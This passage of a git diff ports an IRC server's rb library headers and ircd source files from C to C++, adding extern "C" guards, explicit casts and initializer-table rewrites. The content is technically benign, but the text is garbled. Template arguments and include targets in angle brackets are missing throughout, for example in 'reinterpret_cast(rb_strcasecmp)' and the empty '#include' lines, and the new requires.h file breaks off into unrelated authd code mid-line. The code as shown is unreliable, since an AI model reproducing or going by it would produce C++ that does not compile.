linebuf.h directly" -#endif - #ifndef __LINEBUF_H__ #define __LINEBUF_H__ +#ifdef __cplusplus +extern "C" { +#endif #define LINEBUF_COMPLETE 0 #define LINEBUF_PARTIAL 1 @@ -79,5 +78,7 @@ void rb_linebuf_attach(buf_head_t *, buf_head_t *); void rb_count_rb_linebuf_memory(size_t *, size_t *); int rb_linebuf_flush(rb_fde_t *F, buf_head_t *); - +#ifdef __cplusplus +} // extern "C" +#endif #endif diff --git a/include/rb/memory.h b/include/rb/memory.h index eaba9bfda..ae3afd3d3 100644 --- a/include/rb/memory.h +++ b/include/rb/memory.h @@ -23,12 +23,11 @@ * */ -#ifndef RB_LIB_H -#error "Do not use rb_memory.h directly" -#endif - #ifndef _RB_MEMORY_H #define _RB_MEMORY_H +#ifdef __cplusplus +extern "C" { +#endif #define RB_UNIQUE_PTR(deleter) __attribute__((cleanup(deleter))) #define RB_AUTO_PTR RB_UNIQUE_PTR(rb_raii_free) @@ -111,4 +110,7 @@ rb_raii_free(const void *const ptr) rb_free(_ptr); } -#endif /* _I_MEMORY_H */ +#ifdef __cplusplus +} // extern "C" +#endif +#endif /* _RB_MEMORY_H */ diff --git a/include/rb/patricia.h b/include/rb/patricia.h index 79b9fecb4..a465d3065 100644 --- a/include/rb/patricia.h +++ b/include/rb/patricia.h @@ -13,6 +13,9 @@ #ifndef _RB_PATRICIA_H #define _RB_PATRICIA_H +#ifdef __cplusplus +extern "C" { +#endif #ifndef FALSE #define FALSE 0 @@ -137,4 +140,8 @@ do { \ } \ } while (0) + +#ifdef __cplusplus +} // extern "C" +#endif #endif /* _RB_PATRICIA_H */ diff --git a/include/rb/radixtree.h b/include/rb/radixtree.h index 0b5d1bcc9..3dcc84259 100644 --- a/include/rb/radixtree.h +++ b/include/rb/radixtree.h @@ -34,6 +34,9 @@ #ifndef __rb_radixtree_H__ #define __rb_radixtree_H__ +#ifdef __cplusplus +extern "C" { +#endif struct rb_radixtree; /* defined in src/rb_radixtree.c */ @@ -154,4 +157,7 @@ unsigned int rb_radixtree_size(rb_radixtree *dict); void rb_radixtree_stats(rb_radixtree *dict, void (*cb)(const char *line, void *privdata), void *privdata); void rb_radixtree_stats_walk(void (*cb)(const char *line, void *privdata), void *privdata); +#ifdef __cplusplus +} // extern "C" +#endif #endif diff --git a/include/rb/rawbuf.h b/include/rb/rawbuf.h index 91242e82a..c0a1d5f37 100644 --- a/include/rb/rawbuf.h +++ b/include/rb/rawbuf.h @@ -22,14 +22,11 @@ * */ -#ifndef RB_LIB_H -# error "Do not use rawbuf.h directly" -#endif - #ifndef INCLUDED_RAWBUF_H__ #define INCLUDED_RAWBUF_H__ - - +#ifdef __cplusplus +extern "C" { +#endif typedef struct _rawbuf rawbuf_t; typedef struct _rawbuf_head rawbuf_head_t; @@ -42,4 +39,7 @@ void rb_rawbuf_append(rawbuf_head_t *, void *data, int len); int rb_rawbuf_flush(rawbuf_head_t *, rb_fde_t *F); int rb_rawbuf_length(rawbuf_head_t * rb); +#ifdef __cplusplus +} // extern "C" +#endif #endif diff --git a/include/rb/rb.h b/include/rb/rb.h index 2b1280810..be0c402a4 100644 --- a/include/rb/rb.h +++ b/include/rb/rb.h @@ -2,15 +2,14 @@ #define _RB_H #define RB_LIB_H +#include "config.h" +#include "requires.h" +#include "system.h" + #ifdef __cplusplus extern "C" { #endif -#include "config.h" -#include "include.h" -#include "system.h" - - typedef socklen_t rb_socklen_t; typedef void log_cb(const char *buffer); typedef void restart_cb(const char *buffer); @@ -44,6 +43,9 @@ void *const *rb_backtrace(int *len); // writes to and returns st const char *const *rb_backtrace_symbols(int *len); // translates rb_backtrace(), all static void rb_backtrace_log_symbols(void); // rb_backtrace_symbols piped to rb_lib_log() +#ifdef __cplusplus +} // extern "C" +#endif #include "tools.h" #include "dlink.h" @@ -58,11 +60,4 @@ void rb_backtrace_log_symbols(void); // rb_backtrace_symbols pip #include "dictionary.h" #include "radixtree.h" -#ifdef __cplusplus -} // extern "C" -#endif - -#include "cpp.h" - - #endif // _RB_H diff --git a/include/rb/requires.h b/include/rb/requires.h new file mode 100644 index 000000000..95447c844 --- /dev/null +++ b/include/rb/requires.h @@ -0,0 +1,83 @@ +#ifndef _RB_REQUIRES_H +#define _RB_REQUIRES_H 1 + +#ifdef __cplusplus +extern "C" { +#endif + +// This is exactly how they recommend doing it in the docs by Alan Smithee, +// but the gcc docs on the other hand, with tongue in cheek, tell the tale +// by metaphor: https://gcc.gnu.org/onlinedocs/cpp/Computed-Includes.html + +#include +// #include + +#ifdef _WIN32 +#define WIN32_LEAN_AND_MEAN 1 +#include authd_cmd_tab +{[] { - ['A'] = { cmd_accept_client, 4 }, - ['E'] = { cmd_dns_result, 5 }, - ['N'] = { cmd_notice_client, 3 }, - ['R'] = { cmd_reject_client, 7 }, - ['W'] = { cmd_oper_warn, 3 }, - ['X'] = { cmd_stats_results, 3 }, - ['Y'] = { cmd_stats_results, 3 }, - ['Z'] = { cmd_stats_results, 3 }, + std::array ret {0}; + ret['A'] = { cmd_accept_client, 4 }; + ret['E'] = { cmd_dns_result, 5 }; + ret['N'] = { cmd_notice_client, 3 }; + ret['R'] = { cmd_reject_client, 7 }; + ret['W'] = { cmd_oper_warn, 3 }; + ret['X'] = { cmd_stats_results, 3 }; + ret['Y'] = { cmd_stats_results, 3 }; + ret['Z'] = { cmd_stats_results, 3 }; + return ret; +}() }; static int @@ -156,9 +160,9 @@ cid_to_client(uint32_t ncid, bool del) struct Client *client_p; if(del) - client_p = rb_dictionary_delete(cid_clients, RB_UINT_TO_POINTER(ncid)); + client_p = (Client *)rb_dictionary_delete(cid_clients, RB_UINT_TO_POINTER(ncid)); else - client_p = rb_dictionary_retrieve(cid_clients, RB_UINT_TO_POINTER(ncid)); + client_p = (Client *)rb_dictionary_retrieve(cid_clients, RB_UINT_TO_POINTER(ncid)); /* If the client's not found, that's okay, it may have already gone away. * --Elizafox */ @@ -341,7 +345,7 @@ configure_authd(void) RB_DLINK_FOREACH(ptr, opm_list.head) { - struct OPMScanner *scanner = ptr->data; + struct OPMScanner *scanner = (OPMScanner *)ptr->data; rb_helper_write(authd_helper, "O opm_scanner %s %hu", scanner->type, scanner->port); } @@ -371,7 +375,7 @@ authd_free_client(struct Client *client_p) static void authd_free_client_cb(rb_dictionary_element *delem, void *unused) { - struct Client *client_p = delem->data; + struct Client *client_p = (Client *)delem->data; authd_free_client(client_p); } @@ -562,8 +566,10 @@ timeout_dead_authd_clients(void *notused __unused) rb_dlink_list freelist = { NULL, NULL, 0 }; rb_dlink_node *ptr, *nptr; - RB_DICTIONARY_FOREACH(client_p, &iter, cid_clients) + void *elem; + RB_DICTIONARY_FOREACH(elem, &iter, cid_clients) { + client_p = (Client *)elem; if(client_p->preClient->auth.timeout < rb_current_time()) { authd_free_client(client_p); @@ -574,7 +580,7 @@ timeout_dead_authd_clients(void *notused __unused) /* RB_DICTIONARY_FOREACH is not safe for deletion, so we do this crap */ RB_DLINK_FOREACH_SAFE(ptr, nptr, freelist.head) { - client_p = ptr->data; + client_p = (Client *)ptr->data; rb_dictionary_delete(cid_clients, RB_UINT_TO_POINTER(client_p->preClient->auth.cid)); } } @@ -584,19 +590,19 @@ void add_blacklist(const char *host, const char *reason, uint8_t iptype, rb_dlink_list *filters) { rb_dlink_node *ptr; - struct BlacklistStats *stats = rb_malloc(sizeof(struct BlacklistStats)); + struct BlacklistStats *stats = (BlacklistStats *)rb_malloc(sizeof(struct BlacklistStats)); char filterbuf[BUFSIZE] = "*"; size_t s = 0; if(bl_stats == NULL) - bl_stats = rb_dictionary_create("blacklist statistics", rb_strcasecmp); + bl_stats = rb_dictionary_create("blacklist statistics", reinterpret_cast(rb_strcasecmp)); /* Build a list of comma-separated values for authd. * We don't check for validity - do it elsewhere. */ RB_DLINK_FOREACH(ptr, filters->head) { - char *filter = ptr->data; + char *filter = (char *)ptr->data; size_t filterlen = strlen(filter) + 1; if(s + filterlen > sizeof(filterbuf)) @@ -622,7 +628,7 @@ add_blacklist(const char *host, const char *reason, uint8_t iptype, rb_dlink_lis void del_blacklist(const char *host) { - struct BlacklistStats *stats = rb_dictionary_retrieve(bl_stats, host); + struct BlacklistStats *stats = (BlacklistStats *)rb_dictionary_retrieve(bl_stats, host); if(stats != NULL) { rb_dictionary_delete(bl_stats, host); @@ -636,7 +642,7 @@ del_blacklist(const char *host) static void blacklist_delete(rb_dictionary_element *delem, void *unused) { - struct BlacklistStats *stats = delem->data; + struct BlacklistStats *stats = (BlacklistStats *)delem->data; rb_free(stats->host); rb_free(stats); @@ -732,7 +738,7 @@ opm_check_enable(bool enabled) void conf_create_opm_proxy_scanner(const char *type, uint16_t port) { - struct OPMScanner *scanner = rb_malloc(sizeof(struct OPMScanner)); + struct OPMScanner *scanner = (OPMScanner *)rb_malloc(sizeof(struct OPMScanner)); rb_strlcpy(scanner->type, type, sizeof(scanner->type)); scanner->port = port; @@ -753,7 +759,7 @@ delete_opm_proxy_scanner(const char *type, uint16_t port) RB_DLINK_FOREACH_SAFE(ptr, nptr, opm_list.head) { - struct OPMScanner *scanner = ptr->data; + struct OPMScanner *scanner = (OPMScanner *)ptr->data; if(rb_strncasecmp(scanner->type, type, sizeof(scanner->type)) == 0 && scanner->port == port) @@ -774,7 +780,7 @@ delete_opm_proxy_scanner_all(void) RB_DLINK_FOREACH_SAFE(ptr, nptr, opm_list.head) { - struct OPMScanner *scanner = ptr->data; + struct OPMScanner *scanner = (OPMScanner *)ptr->data; rb_dlinkDelete(ptr, &opm_list); rb_free(scanner); diff --git a/ircd/bandbi.c b/ircd/bandbi.cc similarity index 99% rename from ircd/bandbi.c rename to ircd/bandbi.cc index 82cefefae..8d6255a16 100644 --- a/ircd/bandbi.c +++ b/ircd/bandbi.cc @@ -317,7 +317,7 @@ bandb_handle_clear(void) RB_DLINK_FOREACH_SAFE(ptr, next_ptr, bandb_pending.head) { - free_conf(ptr->data); + free_conf((ConfItem *)ptr->data); rb_dlinkDestroy(ptr, &bandb_pending); } } @@ -333,7 +333,7 @@ bandb_handle_finish(void) RB_DLINK_FOREACH_SAFE(ptr, next_ptr, bandb_pending.head) { - aconf = ptr->data; + aconf = (ConfItem *)ptr->data; rb_dlinkDestroy(ptr, &bandb_pending); diff --git a/ircd/cache.c b/ircd/cache.cc similarity index 91% rename from ircd/cache.c rename to ircd/cache.cc index 76b97af02..a7514fae0 100644 --- a/ircd/cache.c +++ b/ircd/cache.cc @@ -57,7 +57,7 @@ void init_cache(void) { /* allocate the emptyline */ - emptyline = rb_malloc(sizeof(struct cacheline)); + emptyline = (cacheline *)rb_malloc(sizeof(struct cacheline)); emptyline->data = rb_strdup(" "); user_motd_changed[0] = '\0'; @@ -66,8 +66,8 @@ init_cache(void) oper_motd = cache_file(ircd_paths[IRCD_PATH_IRCD_OMOTD], "opers.motd", 0); memset(&links_cache_list, 0, sizeof(links_cache_list)); - help_dict_oper = rb_dictionary_create("oper help", rb_strcasecmp); - help_dict_user = rb_dictionary_create("user help", rb_strcasecmp); + help_dict_oper = rb_dictionary_create("oper help", reinterpret_cast(rb_strcasecmp)); + help_dict_user = rb_dictionary_create("user help", reinterpret_cast(rb_strcasecmp)); } /* @@ -118,7 +118,7 @@ cache_file(const char *filename, const char *shortname, int flags) return NULL; - cacheptr = rb_malloc(sizeof(struct cachefile)); + cacheptr = (cachefile *)rb_malloc(sizeof(struct cachefile)); rb_strlcpy(cacheptr->name, shortname, sizeof(cacheptr->name)); cacheptr->flags = flags; @@ -133,7 +133,7 @@ cache_file(const char *filename, const char *shortname, int flags) { char untabline[BUFSIZE]; - lineptr = rb_malloc(sizeof(struct cacheline)); + lineptr = (cacheline *)rb_malloc(sizeof(struct cacheline)); untabify(untabline, line, sizeof(untabline)); lineptr->data = rb_strdup(untabline); @@ -174,7 +174,7 @@ cache_links(void *unused) RB_DLINK_FOREACH(ptr, global_serv_list.head) { - target_p = ptr->data; + target_p = (Client *)ptr->data; /* skip ourselves (done in /links) and hidden servers */ if(IsMe(target_p) || @@ -182,7 +182,7 @@ cache_links(void *unused) continue; /* if the below is ever modified, change LINKSLINELEN */ - links_line = rb_malloc(LINKSLINELEN); + links_line = (char *)rb_malloc(LINKSLINELEN); snprintf(links_line, LINKSLINELEN, "%s %s :1 %s", target_p->name, me.name, target_p->info[0] ? target_p->info : @@ -211,7 +211,7 @@ free_cachefile(struct cachefile *cacheptr) { if(ptr->data != emptyline) { - struct cacheline *line = ptr->data; + struct cacheline *line = (cacheline *)ptr->data; rb_free(line->data); rb_free(line); } @@ -240,13 +240,16 @@ load_help(void) struct stat sb; #endif - RB_DICTIONARY_FOREACH(cacheptr, &iter, help_dict_oper) + void *elem; + RB_DICTIONARY_FOREACH(elem, &iter, help_dict_oper) { + const auto cacheptr(reinterpret_cast(elem)); rb_dictionary_delete(help_dict_oper, cacheptr->name); free_cachefile(cacheptr); } - RB_DICTIONARY_FOREACH(cacheptr, &iter, help_dict_user) + RB_DICTIONARY_FOREACH(elem, &iter, help_dict_user) { + const auto cacheptr(reinterpret_cast(elem)); rb_dictionary_delete(help_dict_user, cacheptr->name); free_cachefile(cacheptr); } @@ -326,7 +329,7 @@ send_user_motd(struct Client *source_p) RB_DLINK_FOREACH(ptr, user_motd->contents.head) { - lineptr = ptr->data; + lineptr = (cacheline *)ptr->data; sendto_one(source_p, form_str(RPL_MOTD), myname, nick, lineptr->data); } @@ -377,7 +380,7 @@ send_oper_motd(struct Client *source_p) RB_DLINK_FOREACH(ptr, oper_motd->contents.head) { - lineptr = ptr->data; + lineptr = (cacheline *)ptr->data; sendto_one(source_p, form_str(RPL_OMOTD), me.name, source_p->name, lineptr->data); } diff --git a/ircd/capability.c b/ircd/capability.cc similarity index 82% rename from ircd/capability.c rename to ircd/capability.cc index 423337af2..87e96220e 100644 --- a/ircd/capability.c +++ b/ircd/capability.cc @@ -31,7 +31,7 @@ capability_find(struct CapabilityIndex *idx, const char *cap) if (cap == NULL) return NULL; - return rb_dictionary_retrieve(idx->cap_dict, cap); + return (CapabilityEntry *)rb_dictionary_retrieve(idx->cap_dict, cap); } unsigned int @@ -43,7 +43,7 @@ capability_get(struct CapabilityIndex *idx, const char *cap, void **ownerdata) if (cap == NULL) return 0; - entry = rb_dictionary_retrieve(idx->cap_dict, cap); + entry = (CapabilityEntry *)rb_dictionary_retrieve(idx->cap_dict, cap); if (entry != NULL && !(entry->flags & CAP_ORPHANED)) { if (ownerdata != NULL) @@ -63,13 +63,13 @@ capability_put(struct CapabilityIndex *idx, const char *cap, void *ownerdata) if (!idx->highest_bit) return 0xFFFFFFFF; - if ((entry = rb_dictionary_retrieve(idx->cap_dict, cap)) != NULL) + if ((entry = (CapabilityEntry *)rb_dictionary_retrieve(idx->cap_dict, cap)) != NULL) { entry->flags &= ~CAP_ORPHANED; return (1 << entry->value); } - entry = rb_malloc(sizeof(struct CapabilityEntry)); + entry = (CapabilityEntry *)rb_malloc(sizeof(struct CapabilityEntry)); entry->cap = rb_strdup(cap); entry->flags = 0; entry->value = idx->highest_bit; @@ -106,7 +106,7 @@ capability_orphan(struct CapabilityIndex *idx, const char *cap) s_assert(idx != NULL); - entry = rb_dictionary_retrieve(idx->cap_dict, cap); + entry = (CapabilityEntry *)rb_dictionary_retrieve(idx->cap_dict, cap); if (entry != NULL) { entry->flags &= ~CAP_REQUIRED; @@ -122,7 +122,7 @@ capability_require(struct CapabilityIndex *idx, const char *cap) s_assert(idx != NULL); - entry = rb_dictionary_retrieve(idx->cap_dict, cap); + entry = (CapabilityEntry *)rb_dictionary_retrieve(idx->cap_dict, cap); if (entry != NULL) entry->flags |= CAP_REQUIRED; } @@ -132,7 +132,7 @@ capability_destroy(rb_dictionary_element *delem, void *privdata) { s_assert(delem != NULL); - struct CapabilityEntry *entry = delem->data; + struct CapabilityEntry *entry = (CapabilityEntry *)delem->data; rb_free((char *)entry->cap); rb_free(entry); } @@ -142,9 +142,9 @@ capability_index_create(const char *name) { struct CapabilityIndex *idx; - idx = rb_malloc(sizeof(struct CapabilityIndex)); + idx = (CapabilityIndex *)rb_malloc(sizeof(struct CapabilityIndex)); idx->name = name; - idx->cap_dict = rb_dictionary_create(name, rb_strcasecmp); + idx->cap_dict = rb_dictionary_create(name, reinterpret_cast(rb_strcasecmp)); idx->highest_bit = 1; rb_dlinkAdd(idx, &idx->node, &capability_indexes); @@ -176,8 +176,10 @@ capability_index_list(struct CapabilityIndex *idx, unsigned int cap_mask) *t = '\0'; - RB_DICTIONARY_FOREACH(entry, &iter, idx->cap_dict) + void *elem; + RB_DICTIONARY_FOREACH(elem, &iter, idx->cap_dict) { + entry = (CapabilityEntry *)elem; if ((1 << entry->value) & cap_mask) { tl = sprintf(t, "%s ", entry->cap); @@ -200,8 +202,10 @@ capability_index_mask(struct CapabilityIndex *idx) s_assert(idx != NULL); - RB_DICTIONARY_FOREACH(entry, &iter, idx->cap_dict) + void *elem; + RB_DICTIONARY_FOREACH(elem, &iter, idx->cap_dict) { + entry = (CapabilityEntry *)elem; if (!(entry->flags & CAP_ORPHANED)) mask |= (1 << entry->value); } @@ -218,8 +222,10 @@ capability_index_get_required(struct CapabilityIndex *idx) s_assert(idx != NULL); - RB_DICTIONARY_FOREACH(entry, &iter, idx->cap_dict) + void *elem; + RB_DICTIONARY_FOREACH(elem, &iter, idx->cap_dict) { + entry = (CapabilityEntry *)elem; if (!(entry->flags & CAP_ORPHANED) && (entry->flags & CAP_REQUIRED)) mask |= (1 << entry->value); } @@ -235,15 +241,17 @@ capability_index_stats(void (*cb)(const char *line, void *privdata), void *privd RB_DLINK_FOREACH(node, capability_indexes.head) { - struct CapabilityIndex *idx = node->data; + struct CapabilityIndex *idx = (CapabilityIndex *)node->data; rb_dictionary_iter iter; struct CapabilityEntry *entry; snprintf(buf, sizeof buf, "'%s': allocated bits - %d", idx->name, (idx->highest_bit - 1)); cb(buf, privdata); - RB_DICTIONARY_FOREACH(entry, &iter, idx->cap_dict) + void *elem; + RB_DICTIONARY_FOREACH(elem, &iter, idx->cap_dict) { + entry = (CapabilityEntry *)elem; snprintf(buf, sizeof buf, "bit %d: '%s'", entry->value, entry->cap); cb(buf, privdata); } diff --git a/ircd/channel.c b/ircd/channel.cc similarity index 98% rename from ircd/channel.c rename to ircd/channel.cc index 01c22be5c..1aa898869 100644 --- a/ircd/channel.c +++ b/ircd/channel.cc @@ -79,7 +79,7 @@ struct Channel * allocate_channel(const char *chname) { struct Channel *chptr; - chptr = rb_bh_alloc(channel_heap); + chptr = (Channel *)rb_bh_alloc(channel_heap); chptr->chname = rb_strdup(chname); return (chptr); } @@ -96,7 +96,7 @@ struct Ban * allocate_ban(const char *banstr, const char *who, const char *forward) { struct Ban *bptr; - bptr = rb_bh_alloc(ban_heap); + bptr = (Ban *)rb_bh_alloc(ban_heap); bptr->banstr = rb_strdup(banstr); bptr->who = rb_strdup(who); bptr->forward = forward ? rb_strdup(forward) : NULL; @@ -163,7 +163,7 @@ find_channel_membership(struct Channel *chptr, struct Client *client_p) { RB_DLINK_FOREACH(ptr, chptr->members.head) { - msptr = ptr->data; + msptr = (membership *)ptr->data; if(msptr->client_p == client_p) return msptr; @@ -173,7 +173,7 @@ find_channel_membership(struct Channel *chptr, struct Client *client_p) { RB_DLINK_FOREACH(ptr, client_p->user->channel.head) { - msptr = ptr->data; + msptr = (membership *)ptr->data; if(msptr->chptr == chptr) return msptr; @@ -226,7 +226,7 @@ add_user_to_channel(struct Channel *chptr, struct Client *client_p, int flags) if(client_p->user == NULL) return; - msptr = rb_bh_alloc(member_heap); + msptr = (membership *)rb_bh_alloc(member_heap); msptr->chptr = chptr; msptr->client_p = client_p; @@ -290,7 +290,7 @@ remove_user_from_channels(struct Client *client_p) RB_DLINK_FOREACH_SAFE(ptr, next_ptr, client_p->user->channel.head) { - msptr = ptr->data; + msptr = (membership *)ptr->data; chptr = msptr->chptr; rb_dlinkDelete(&msptr->channode, &chptr->members); @@ -326,7 +326,7 @@ invalidate_bancache_user(struct Client *client_p) RB_DLINK_FOREACH(ptr, client_p->user->channel.head) { - msptr = ptr->data; + msptr = (membership *)ptr->data; msptr->bants = 0; msptr->flags &= ~CHFL_BANNED; } @@ -369,7 +369,7 @@ free_channel_list(rb_dlink_list * list) RB_DLINK_FOREACH_SAFE(ptr, next_ptr, list->head) { - actualBan = ptr->data; + actualBan = (Ban *)ptr->data; free_ban(actualBan); } @@ -390,7 +390,7 @@ destroy_channel(struct Channel *chptr) RB_DLINK_FOREACH_SAFE(ptr, next_ptr, chptr->invites.head) { - del_invite(chptr, ptr->data); + del_invite(chptr, (Client *)ptr->data); } /* free all bans/exceptions/denies */ @@ -455,7 +455,7 @@ channel_member_names(struct Channel *chptr, struct Client *client_p, int show_eo RB_DLINK_FOREACH(ptr, chptr->members.head) { - msptr = ptr->data; + msptr = (membership *)ptr->data; target_p = msptr->client_p; if(IsInvisible(target_p) && !is_member) @@ -592,7 +592,7 @@ is_banned_list(struct Channel *chptr, rb_dlink_list *list, RB_DLINK_FOREACH(ptr, list->head) { - actualBan = ptr->data; + actualBan = (Ban *)ptr->data; if(match(actualBan->banstr, s) || match(actualBan->banstr, s2) || match_cidr(actualBan->banstr, s2) || @@ -612,7 +612,7 @@ is_banned_list(struct Channel *chptr, rb_dlink_list *list, { RB_DLINK_FOREACH(ptr, chptr->exceptlist.head) { - actualExcept = ptr->data; + actualExcept = (Ban *)ptr->data; /* theyre exempted.. */ if(match(actualExcept->banstr, s) || @@ -780,7 +780,7 @@ can_join(struct Client *source_p, struct Channel *chptr, const char *key, const moduledata.approved = ERR_INVITEONLYCHAN; RB_DLINK_FOREACH(ptr, chptr->invexlist.head) { - invex = ptr->data; + invex = (Ban *)ptr->data; if(match(invex->banstr, src_host) || match(invex->banstr, src_iphost) || match_cidr(invex->banstr, src_iphost) @@ -972,7 +972,7 @@ find_bannickchange_channel(struct Client *client_p) RB_DLINK_FOREACH(ptr, client_p->user->channel.head) { - msptr = ptr->data; + msptr = (membership *)ptr->data; chptr = msptr->chptr; if (is_chanop_voiced(msptr)) continue; @@ -1109,7 +1109,7 @@ allocate_topic(struct Channel *chptr) * the topic info. We then split it up into two and shove it * in the chptr */ - chptr->topic = ptr; + chptr->topic = (char *)ptr; chptr->topic_info = (char *) ptr + TOPICLEN + 1; *chptr->topic = '\0'; *chptr->topic_info = '\0'; @@ -1366,7 +1366,7 @@ resv_chan_forcepart(const char *name, const char *reason, int temp_time) { RB_DLINK_FOREACH_SAFE(ptr, next_ptr, chptr->locmembers.head) { - msptr = ptr->data; + msptr = (membership *)ptr->data; target_p = msptr->client_p; if(IsExemptResv(target_p)) diff --git a/ircd/chmode.c b/ircd/chmode.cc similarity index 94% rename from ircd/chmode.c rename to ircd/chmode.cc index 89ae452b0..5081d8986 100644 --- a/ircd/chmode.c +++ b/ircd/chmode.cc @@ -70,37 +70,40 @@ extern int h_get_channel_access; int chmode_flags[256]; // Table of mode flag integers char chmode_arity[2][256]; // RPL_MYINFO (note that [0] is for 0 OR MORE params) char chmode_class[4][256]; // RPL_ISUPPORT classification -struct Chm chmode_table[256] = +struct Chm chmode_table[256]; + +static +void chmode_table_init() { // Leading tab only please: - // ['X'] = {handler,class,flag}, + // chmode_table['X'] = {handler,class,flag}; - ['C'] = { 0, CHM_D, 0 }, - ['F'] = { chm_simple, CHM_D, MODE_FREETARGET }, - ['I'] = { chm_ban, CHM_A, CHFL_INVEX }, - ['L'] = { chm_staff, CHM_D, MODE_EXLIMIT }, - ['P'] = { chm_staff, CHM_D, MODE_PERMANENT }, - ['Q'] = { chm_simple, CHM_D, MODE_DISFORWARD }, + chmode_table['C'] = { 0, CHM_D, 0 }; + chmode_table['F'] = { chm_simple, CHM_D, MODE_FREETARGET }; + chmode_table['I'] = { chm_ban, CHM_A, CHFL_INVEX }; + chmode_table['L'] = { chm_staff, CHM_D, MODE_EXLIMIT }; + chmode_table['P'] = { chm_staff, CHM_D, MODE_PERMANENT }; + chmode_table['Q'] = { chm_simple, CHM_D, MODE_DISFORWARD }; - ['b'] = { chm_ban, CHM_A, CHFL_BAN }, - ['e'] = { chm_ban, CHM_A, CHFL_EXCEPTION }, - ['f'] = { chm_forward, CHM_C, 0 }, - ['g'] = { chm_simple, CHM_D, MODE_FREEINVITE }, - ['i'] = { chm_simple, CHM_D, MODE_INVITEONLY }, - ['j'] = { chm_throttle, CHM_C, 0 }, - ['k'] = { chm_key, CHM_B, 0 }, - ['l'] = { chm_limit, CHM_C, 0 }, - ['m'] = { chm_simple, CHM_D, MODE_MODERATED }, - ['n'] = { chm_simple, CHM_D, MODE_NOPRIVMSGS }, - ['o'] = { chm_op, CHM_B, 0 }, - ['p'] = { chm_simple, CHM_D, MODE_PRIVATE }, - ['q'] = { chm_ban, CHM_A, CHFL_QUIET }, - ['r'] = { chm_simple, CHM_D, MODE_REGONLY }, - ['s'] = { chm_simple, CHM_D, MODE_SECRET }, - ['t'] = { chm_simple, CHM_D, MODE_TOPICLIMIT }, - ['v'] = { chm_voice, CHM_B, 0 }, - ['z'] = { chm_simple, CHM_D, MODE_OPMODERATE }, -}; + chmode_table['b'] = { chm_ban, CHM_A, CHFL_BAN }; + chmode_table['e'] = { chm_ban, CHM_A, CHFL_EXCEPTION }; + chmode_table['f'] = { chm_forward, CHM_C, 0 }; + chmode_table['g'] = { chm_simple, CHM_D, MODE_FREEINVITE }; + chmode_table['i'] = { chm_simple, CHM_D, MODE_INVITEONLY }; + chmode_table['j'] = { chm_throttle, CHM_C, 0 }; + chmode_table['k'] = { chm_key, CHM_B, 0 }; + chmode_table['l'] = { chm_limit, CHM_C, 0 }; + chmode_table['m'] = { chm_simple, CHM_D, MODE_MODERATED }; + chmode_table['n'] = { chm_simple, CHM_D, MODE_NOPRIVMSGS }; + chmode_table['o'] = { chm_op, CHM_B, 0 }; + chmode_table['p'] = { chm_simple, CHM_D, MODE_PRIVATE }; + chmode_table['q'] = { chm_ban, CHM_A, CHFL_QUIET }; + chmode_table['r'] = { chm_simple, CHM_D, MODE_REGONLY }; + chmode_table['s'] = { chm_simple, CHM_D, MODE_SECRET }; + chmode_table['t'] = { chm_simple, CHM_D, MODE_TOPICLIMIT }; + chmode_table['v'] = { chm_voice, CHM_B, 0 }; + chmode_table['z'] = { chm_simple, CHM_D, MODE_OPMODERATE }; +} /* OPTIMIZE ME! -- dwr @@ -108,6 +111,8 @@ struct Chm chmode_table[256] = void chmode_init(void) { + chmode_table_init(); + /* Reset the state generated by earlier calls to this function */ memset(chmode_flags, '\0', sizeof(chmode_flags)); @@ -137,7 +142,7 @@ chmode_init(void) if(chmode_table[i].mode_type & disabled || chmode_table[i].set_func == chm_nosuch) continue; - const char ch[2] = {i, 0}; + const char ch[2] = {char(i), '\0'}; chmode_flags[i] = chmode_table[i].mode_type; rb_strlcat(chmode_class[chmode_table[i].mode_class], ch, 256); rb_strlcat(chmode_arity[0], ch, 256); @@ -285,7 +290,7 @@ add_id(struct Client *source_p, struct Channel *chptr, const char *banid, const RB_DLINK_FOREACH(ptr, list->head) { - actualBan = ptr->data; + actualBan = (Ban *)ptr->data; if(mask_match(actualBan->banstr, realban)) return false; } @@ -295,7 +300,7 @@ add_id(struct Client *source_p, struct Channel *chptr, const char *banid, const { RB_DLINK_FOREACH(ptr, list->head) { - actualBan = ptr->data; + actualBan = (Ban *)ptr->data; if(!irccmp(actualBan->banstr, realban)) return false; } @@ -336,7 +341,7 @@ del_id(struct Channel *chptr, const char *banid, rb_dlink_list * list, long mode RB_DLINK_FOREACH(ptr, list->head) { - banptr = ptr->data; + banptr = (Ban *)ptr->data; if(irccmp(banid, banptr->banstr) == 0) { @@ -428,14 +433,14 @@ pretty_mask(const char *idmask) } at = ex = NULL; - if((t = memchr(mask, '@', masklen)) != NULL) + if((t = (char *)memchr(mask, '@', masklen)) != NULL) { at = t; t++; if(*t != '\0') host = t, hl = strlen(t); - if((t = memchr(mask, '!', at - mask)) != NULL) + if((t = (char *)memchr(mask, '!', at - mask)) != NULL) { ex = t; t++; @@ -450,8 +455,8 @@ pretty_mask(const char *idmask) user = mask, ul = at - mask; } - if((t = memchr(host, '!', hl)) != NULL || - (t = memchr(host, '$', hl)) != NULL) + if((t = (char *)memchr(host, '!', hl)) != NULL || + (t = (char *)memchr(host, '$', hl)) != NULL) { t++; if (host + hl != t) @@ -459,7 +464,7 @@ pretty_mask(const char *idmask) hl = t - 1 - host; } } - else if((t = memchr(mask, '!', masklen)) != NULL) + else if((t = (char *)memchr(mask, '!', masklen)) != NULL) { ex = t; t++; @@ -868,7 +873,7 @@ chm_ban(struct Client *source_p, struct Channel *chptr, RB_DLINK_FOREACH(ptr, list->head) { char buf[BANLEN]; - banptr = ptr->data; + banptr = (Ban *)ptr->data; if(banptr->forward) snprintf(buf, sizeof(buf), "%s$%s", banptr->banstr, banptr->forward); else @@ -922,7 +927,7 @@ chm_ban(struct Client *source_p, struct Channel *chptr, * As the first character, it marks an extban; afterwards * it delimits a forward channel. */ - if ((forward = strchr(mask+1, '$')) != NULL) + if ((forward = (char *)strchr(mask+1, '$')) != NULL) { *forward++ = '\0'; if (*forward == '\0') diff --git a/ircd/class.c b/ircd/class.cc similarity index 97% rename from ircd/class.c rename to ircd/class.cc index 290562968..7fcb60776 100644 --- a/ircd/class.c +++ b/ircd/class.cc @@ -43,7 +43,7 @@ make_class(void) { struct Class *tmp; - tmp = rb_malloc(sizeof(struct Class)); + tmp = (Class *)rb_malloc(sizeof(struct Class)); ConFreq(tmp) = DEFAULT_CONNECTFREQUENCY; PingFreq(tmp) = DEFAULT_PINGFREQUENCY; @@ -220,7 +220,7 @@ find_class(const char *classname) RB_DLINK_FOREACH(ptr, class_list.head) { - cltmp = 